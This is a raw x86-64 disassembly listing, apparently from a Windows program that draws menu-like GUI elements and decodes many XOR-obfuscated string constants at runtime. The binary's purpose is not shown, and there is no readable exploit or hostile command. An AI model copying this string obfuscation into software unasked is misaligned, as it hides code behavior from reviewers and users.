mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a68], rax
movdqa xmm0, xmmword [rbp + 0x1a60]
xorps xmm0, xmmword [rbp + 0x1a50]
movdqa xmmword [rbp + 0x1a50], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f520]
lea rcx, [rbp + 0x7c0]
movss xmm1, dword [0x14016f628]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1a50]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1a80]
mov edx, 0x46
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x7c8]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x14016f61c]
addss xmm1, dword [0x14016f63c]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x7d0]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x14016f5b4]
addss xmm1, dword [0x14016f620]
call fcn.140001d60
movss xmm0, dword [0x14016f488]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
movss xmm0, dword [0x14016f4a4]
mov dword [rsp + 0x28], 0
movss dword [rsp + 0x20], xmm0
mov r8, rbx
mov rdx, rax
mov rcx, rsi
call fcn.140024290
movss xmm2, dword [0x14016f5c4]
lea rcx, [rbp + 0x7d8]
movss xmm1, dword [0x14016f624]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
xor eax, eax
lea rdx, [0x140184124]
mov byte [rbp], al
lea rcx, [rbp + 0x1a90]
mov byte [rbp], al
movabs rsi, 0xb925cdcbb7fb9965
mov byte [rbp], al
movabs rdi, 0x729e6a1287b9b5be
movabs rax, 0xea05a1aada89f62b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a90], rax
movabs rax, 0x72f9047be1d6dace
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1a98], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1aa0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1aa8], rax
movdqa xmm0, xmmword [rbp + 0x1aa0]
xorps xmm0, xmmword [rbp + 0x1a90]
movdqa xmmword [rbp + 0x1a90], xmm0
call fcn.140032a70
xor eax, eax
lea rdx, [0x1403a27dc]
mov byte [rbp], al
lea rcx, [rbp + 0x1ab0]
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x9915e3f997b6c931
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ab0], rax
movabs rax, 0x729e1961e6c9ccfc
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ab8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ac0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ac8], rax
movdqa xmm0, xmmword [rbp + 0x1ac0]
xorps xmm0, xmmword [rbp + 0x1ab0]
movdqa xmmword [rbp + 0x1ab0], xmm0
call fcn.140032a70
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xd64abd989798f828
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ad0], rax
movabs rax, 0x729e6a12e0d7dcd8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ad8], rax
mov qword [rbp + 0x10], rsi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ae0], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ae8], rax
movdqa xmm0, xmmword [rbp + 0x1ae0]
xorps xmm0, xmmword [rbp + 0x1ad0]
lea rdx, reloc.WS2_32.dll_accept
movdqa xmmword [rbp + 0x1ad0], xmm0
lea rcx, [rbp + 0x1ad0]
call fcn.140032a70
call fcn.140017400
jmp 0x140055f35
movabs rsi, 0xb925cdcbb7fb9965
cmp dword [0x1403a2288], 9
jne 0x140057590
call fcn.140013290
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1af0]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f640]
lea rcx, [rbp + 0x7e0]
movss xmm1, dword [0x14016f544]
mov edi, eax
call fcn.140001d60
movaps xmm2, xmm14
lea rcx, [rbp + 0x7e8]
movaps xmm1, xmm14
mov rbx, rax
call fcn.140001d60
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140024370
movss xmm0, dword [0x14016f50c]
lea rcx, [rbp + 0x7f0]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
mov rcx, r14
call fcn.140012cb0
movaps xmm2, xmm15
lea rcx, [rbp + 0x7f8]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 3
lea rdx, [0x14016a064]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140056030
mov dword [0x1403a2288], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x800]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 4
lea rdx, [0x14016a068]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x14005606b
mov dword [0x1403a2288], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x808]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 5
lea rdx, [0x14016a06c]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x1400560a6
mov dword [0x1403a2288], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x810]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 6
lea rdx, [0x14016a070]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x1400560e1
mov dword [0x1403a2288], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x818]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 7
lea rdx, [0x14016a074]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x14005611c
mov dword [0x1403a2288], 7
call fcn.140012d50
call fcn.140017400
movss xmm2, dword [0x14016f500]
lea rcx, [rbp + 0x820]
movss xmm1, dword [0x14016f55c]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
movaps xmm2, xmm14
lea rcx, [rbp + 0x828]
movaps xmm1, xmm14
call fcn.140001d60
mov r8, rax
lea rdx, [rbp + 0x1b00]
xor eax, eax
movabs r14, 0x729e6a1287b9b5be
mov byte [rbp], al
movabs rbx, 0xb925cdcbb7fb9965
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925a1aada89f62b
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b00], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b08], rcx
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b10], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1b00]
cmp dword [0x1403a2288], 4
mov qword [rbp + 0x1b18], rax
xorps xmm0, xmmword [rbp + 0x1b10]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x1b00], xmm0
call fcn.140036950
test al, al
je 0x140056204
mov dword [0x1403a2288], 4
movss xmm1, dword [0x14016f668]
movaps xmm0, xmm14
call fcn.140016f00
movss xmm1, dword [0x14016f668]
movaps xmm0, xmm14
call fcn.140016f00
movaps xmm2, xmm14
lea rcx, [rbp + 0x830]
movaps xmm1, xmm14
call fcn.140001d60
mov r8, rax
lea rdx, [rbp + 0x1b20]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925cdcbfebddc30
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b20], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b28], rcx
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b30], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1b20]
cmp dword [0x1403a2288], 8
mov qword [rbp + 0x1b38], rax
xorps xmm0, xmmword [rbp + 0x1b30]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x1b20], xmm0
call fcn.140036950
test al, al
je 0x1400562cc
mov dword [0x1403a2288], 8
movss xmm1, dword [0x14016f668]
movaps xmm0, xmm14
call fcn.140016f00
movss xmm1, dword [0x14016f668]
movaps xmm0, xmm14
call fcn.140016f00
movaps xmm2, xmm14
lea rcx, [rbp + 0x838]
movaps xmm1, xmm14
call fcn.140001d60
mov r8, rax
lea rdx, [rbp + 0x1b40]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925cdcbb7b2df20
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b40], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b48], rcx
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b50], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1b40]
cmp dword [0x1403a2288], 9
mov qword [rbp + 0x1b58], rax
xorps xmm0, xmmword [rbp + 0x1b50]
sete cl
xor r9d, r9d
movdqa xmmword [rbp + 0x1b40], xmm0
call fcn.140036950
test al, al
je 0x140056394
mov dword [0x1403a2288], 9
call fcn.140013290
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1b60]
mov edx, 0x46
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x840]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x14016f590]
addss xmm1, dword [0x14016f61c]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x848]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x14016f52c]
addss xmm1, dword [0x14016f554]
call fcn.140001d60
movss xmm0, dword [0x14016f488]
mov r9d, edi
movss dword [rsp + 0x30], xmm0
mov r8, rbx
movss xmm0, dword [0x14016f4a4]
mov rdx, rax
mov dword [rsp + 0x28], 0
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024290
movss xmm2, dword [0x14016f538]
lea rcx, [rbp + 0x850]
movss xmm1, dword [0x14016f564]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x991fbebec39aed36
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b70], rcx
mov qword [rbp + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1b78], rcx
lea rcx, [rbp + 0x1b90]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1b80], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1b70]
mov qword [rbp + 0x1b88], rax
xorps xmm0, xmmword [rbp + 0x1b80]
movdqa xmmword [rbp + 0x1b70], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f538]
lea rcx, [rbp + 0x858]
movss xmm1, dword [0x14016f574]
mov ebx, eax
call fcn.140001d60
xor esi, esi
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1b70]
mov qword [rsp + 0x28], rcx
mov r9, rax
mov rcx, rdi
mov dword [rsp + 0x20], ebx
movaps xmm2, xmm7
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov r9d, 0xff
mov byte [rbp], al
xor r8d, r8d
mov byte [rbp], al
mov edx, 0x64
mov byte [rbp], al
movabs rax, 0xcd46a8bfd29ff730
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9d1db
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1ba0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1ba8], rcx
lea rcx, [rbp + 0x1bc0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1bb0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1ba0]
mov qword [rbp + 0x1bb8], rax
xorps xmm0, xmmword [rbp + 0x1bb0]
movdqa xmmword [rbp + 0x1ba0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f538]
lea rcx, [rbp + 0x860]
movss xmm1, dword [0x14016f59c]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1ba0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
mov r14, qword [rbp + 0x158]
mov rcx, r14
call fcn.140012cb0
movss xmm2, dword [0x14016f53c]
lea rcx, [rbp + 0x868]
movss xmm1, dword [0x14016f564]
call fcn.140001d60
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1bd0]
mov edx, 0x64
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1be0]
mov edx, 0x64
mov ebx, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14016f518]
lea rcx, [0x14016a0bc]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140032790
call fcn.140012d50
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xdd5598ebc388f829
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a32bddcc1df
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1bf0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1bf8], rcx
lea rcx, [rbp + 0x1c10]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c00], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1bf0]
mov qword [rbp + 0x1c08], rax
xorps xmm0, xmmword [rbp + 0x1c00]
movdqa xmmword [rbp + 0x1bf0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f548]
lea rcx, [rbp + 0x870]
movss xmm1, dword [0x14016f574]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1bf0]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x8b15ffe48fcab653
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9b58a
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c20], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c28], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c30], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1c20]
mov qword [rbp + 0x1c38], rax
xorps xmm0, xmmword [rbp + 0x1c30]
movdqa xmmword [rbp + 0x1c20], xmm0
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1c40]
mov edx, 0x64
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f548]
lea rcx, [rbp + 0x878]
movss xmm1, dword [0x14016f5b8]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1c20]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
mov rcx, r14
call fcn.140012cb0
movss xmm2, dword [0x14016f54c]
lea rcx, [rbp + 0x880]
movss xmm1, dword [0x14016f564]
call fcn.140001d60
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1c50]
mov edx, 0x64
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1c60]
mov edx, 0x64
mov ebx, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14016f518]
lea rcx, [0x14016a0bc]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140032790
call fcn.140012d50
call fcn.140013290
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xcc76edb8d296f822
mov qword [rbp + 0x10], rax
movabs rax, 0x48fa0f66f5d6c5ce
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2580], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xd106f6115ac31317
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2588], rcx
movabs rcx, 0xdaf40e281c80c3c8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2590], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2598], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25a0], rax
movabs rax, 0x729e6a1287b9b5be
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov edx, 0xff
mov rax, qword [rbp + 0x10]
mov r9d, edx
mov qword [rbp + 0x25a8], rax
mov r8d, edx
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25b0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1c70]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25b8], rax
vmovdqu ymm0, ymmword [rbp + 0x25a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x2580]
vmovdqa ymmword [rbp + 0x2580], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f564]
lea rcx, [rbp + 0x888]
movss xmm1, dword [0x14016f574]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x2580]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov r9d, 0xff
mov byte [rbp], al
xor r8d, r8d
mov byte [rbp], al
mov edx, 0x64
mov byte [rbp], al
movabs rax, 0xdc48ac8c9797f524
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9b5cd
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c80], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1c88], rcx
lea rcx, [rbp + 0x1ca0]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1c90], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1c80]
mov qword [rbp + 0x1c98], rax
xorps xmm0, xmmword [rbp + 0x1c90]
movdqa xmmword [rbp + 0x1c80], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f564]
lea rcx, [rbp + 0x890]
movss xmm1, dword [0x14016f5d8]
mov ebx, eax
call fcn.140001d60
mov qword [rsp + 0x40], rsi
lea rcx, [rbp + 0x1c80]
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov rdx, qword [0x1403a2268]
mov r9, rax
mov qword [rsp + 0x28], rcx
movaps xmm2, xmm7
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
mov rcx, r14
call fcn.140012cb0
movss xmm7, dword [0x14016f564]
lea rcx, [rbp + 0x898]
movss xmm2, dword [0x14016f568]
movaps xmm1, xmm7
call fcn.140001d60
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1cb0]
mov edx, 0x64
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1cc0]
mov edx, 0x64
mov ebx, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14016f518]
lea rcx, [0x14016a0bc]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140032790
call fcn.140012d50
mov rcx, r14
call fcn.140012cb0
movss xmm2, dword [0x14016f568]
lea rcx, [rbp + 0x8a0]
movaps xmm1, xmm7
call fcn.140001d60
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1cd0]
mov edx, 0x64
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1ce0]
mov edx, 0x64
mov ebx, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm3, dword [0x14016f518]
lea rcx, [0x14016a0bc]
mov r8d, ebx
mov qword [rsp + 0x20], rdi
mov edx, eax
call fcn.140032790
call fcn.140012d50
call fcn.140017400
call fcn.140013290
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1cf0]
mov edx, 0x46
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x8a8]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x14016f61c]
addss xmm1, dword [0x14016f61c]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x8b0]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x14016f5b4]
addss xmm1, dword [0x14016f554]
call fcn.140001d60
movss xmm0, dword [0x14016f488]
xor r14d, r14d
movss dword [rsp + 0x30], xmm0
mov r9d, edi
movss xmm0, dword [0x14016f4a4]
mov r8, rbx
mov dword [rsp + 0x28], r14d
mov rdx, rax
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024290
movss xmm7, dword [0x14016f55c]
lea rcx, [rbp + 0x8b8]
movss xmm2, dword [0x14016f5c4]
movaps xmm1, xmm7
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
xor eax, eax
lea rdx, reloc.WS2_32.dll_accept
mov byte [rbp], al
movabs rcx, 0xdaf40e281c80c3c8
mov byte [rbp], al
movabs rdi, 0xb925cdcbb7fb9965
mov byte [rbp], al
movabs rbx, 0x729e6a1287b9b5be
movabs rax, 0xd74c8bebc094f136
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25c0], rax
movabs rax, 0x17d34a76e2d1c6d7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25c8], rax
movabs rax, 0xd106f6743da26044
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25d0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25d8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25e0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25e8], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25f0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x25c0]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x25f8], rax
vmovdqu ymm0, ymmword [rbp + 0x25e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x25c0]
vmovdqa ymmword [rbp + 0x25c0], ymm1
vzeroupper
call fcn.140032a70
call fcn.140017400
movss xmm2, dword [0x14016f608]
lea rcx, [rbp + 0x8c0]
movaps xmm1, xmm7
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
movss xmm2, dword [0x14016f508]
lea rcx, [rbp + 0x8c8]
movss xmm1, dword [0x14016f5a4]
call fcn.140001d60
mov rdx, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xd049acbec389f033
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9d0c4
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d00], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1d08], rcx
lea rcx, [rbp + 0x1d00]
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d10], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1d18], rax
movdqa xmm0, xmmword [rbp + 0x1d10]
xorps xmm0, xmmword [rbp + 0x1d00]
movdqa xmmword [rbp + 0x1d00], xmm0
call fcn.140031ab0
test al, al
je 0x140057042
mov dword [0x1403a2288], 0xc
call fcn.140013290
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1d20]
mov edx, 0x46
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x8d0]
movss xmm1, dword [rbp + 0x190]
mov edi, eax
addss xmm2, dword [0x14016f590]
addss xmm1, dword [0x14016f63c]
call fcn.140001d60
movss xmm2, dword [rbp + 0x194]
lea rcx, [rbp + 0x8d8]
movss xmm1, dword [rbp + 0x190]
mov rbx, rax
addss xmm2, dword [0x14016f52c]
addss xmm1, dword [0x14016f620]
call fcn.140001d60
movss xmm0, dword [0x14016f4a4]
mov r9d, edi
movss xmm7, dword [0x14016f488]
mov r8, rbx
movss dword [rsp + 0x30], xmm7
mov rdx, rax
mov dword [rsp + 0x28], r14d
mov rcx, rsi
movss dword [rsp + 0x20], xmm0
call fcn.140024290
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rsi, 0x729e6a1287b9b5be
mov byte [rbp], al
mov r9d, 0xff
